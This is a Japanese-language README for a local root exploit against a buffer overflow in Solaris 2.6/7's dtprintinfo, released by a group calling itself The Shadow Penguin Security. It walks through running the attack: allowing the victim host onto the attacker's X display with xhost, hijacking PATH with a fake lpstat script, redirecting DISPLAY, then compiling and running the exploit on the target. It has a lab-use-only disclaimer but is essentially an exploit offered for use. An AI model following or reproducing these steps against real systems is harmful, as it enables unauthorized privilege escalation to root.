==================================================================== ex_dtprintinfo.c Overflow Exploits for Solaris2.6 or 2.7 Intel x86 & Sparc Edition Presented by The Shadow Penguin Security http://base.oc.to:/skyscraper/byte/551 Written by UNYUN (unewn4th@usa.net) ==================================================================== [はじめに] /usr/dt/bin/dtprintinfo にオーバーフローバグをみつけたので root exploitsを作成してみました。 このプログラムは、実験用ですので、絶対に自分の管理下ではない ホストで使用しないようにしてください。 [テスト環境] for x86 : Solaris2.6 日本語版 AMD K6II 400 Solaris7 日本語版 Pentuin II 450 for Sparc : Solaris2.6 日本語版 sun4u sparc SUNW,Ultra-30 Solaris2.6 日本語版 sun4m sparc sun4m [実行手順] victim : 100.100.100.100 : Victim(ターゲット) yourhost : 200.200.200.200 : あなたのホスト とします。 (1) Xの許可 yourhost % su Password : あなたのホスト上でrootになる yourhost # /usr/openwin/bin/xhost +100.100.100.100 yourhost # telnet 100.100.100.100 Victimホストにログイン (2) ニセlpstatを作成して、カレントディレクトリ最優先でパスを通す victim % setenv PATH .:$PATH ただし、shを使用している場合は victim $ PATH=.:$PATH; export PATH とする victim % cat > lpstat echo "system for lpprn: server" ^D victim % chmod 755 lpstat lpstatとタイプし、system for lpprn: serverと表示されることを確認 voctim % lpstat system for lpprn: server victim % (3) ディスプレイを設定して実行 victim % setenv DISPLAY 200.200.200.200:0.0 ただし、shを使用している場合は victim $ DISPLAY=200.200.200.200:0.0; export DISPLAY とする Copy & Paste等で gcc ex_dtprintinfoSp.c あるいは gcc ex_dtprintinfo86.c を victim 上にもってくる victim % gcc ex_dtprintinfoSp.c ただし、intel x86 なら victim % gcc ex_dtprintinfo86.c とする victim % a.out また、ローカルで実験を行っている場合、 telnet localhost で、一度ローカルホストにtelnet後に同様の手順を行ってください。 [さいごに] いやー、いまだにこういうバグあるんですね。boundcheckくらいちゃんとしろ よって思うんですけどね。 前はこういうバグってたくさんあって、IRIXなんかはホントにボコボコ出てき たもんです。あんまし公開しなかったですけど、どのみち誰かが作って公開し ちゃうし、ネタバレで困るようなこともしてないんで(笑)、これからはちゃん と公開します。 つっても、Overflow系のバグって、Boundcheckingなプログラムでたいだい出 荷前に潰せるはずなんで、これからは減っていくでしょね。 ソースがあるヤツだと、あっという間に攻撃プログラムがつくれる場合がある んで、特にLinuxやFreeBSDなんかでは神経質なはずですし。 そのうち、こういうバグの探し方から、攻撃プログラムの実際の作り方までを 解説するドキュメントを書きますので、みなさんも挑戦してみましょう。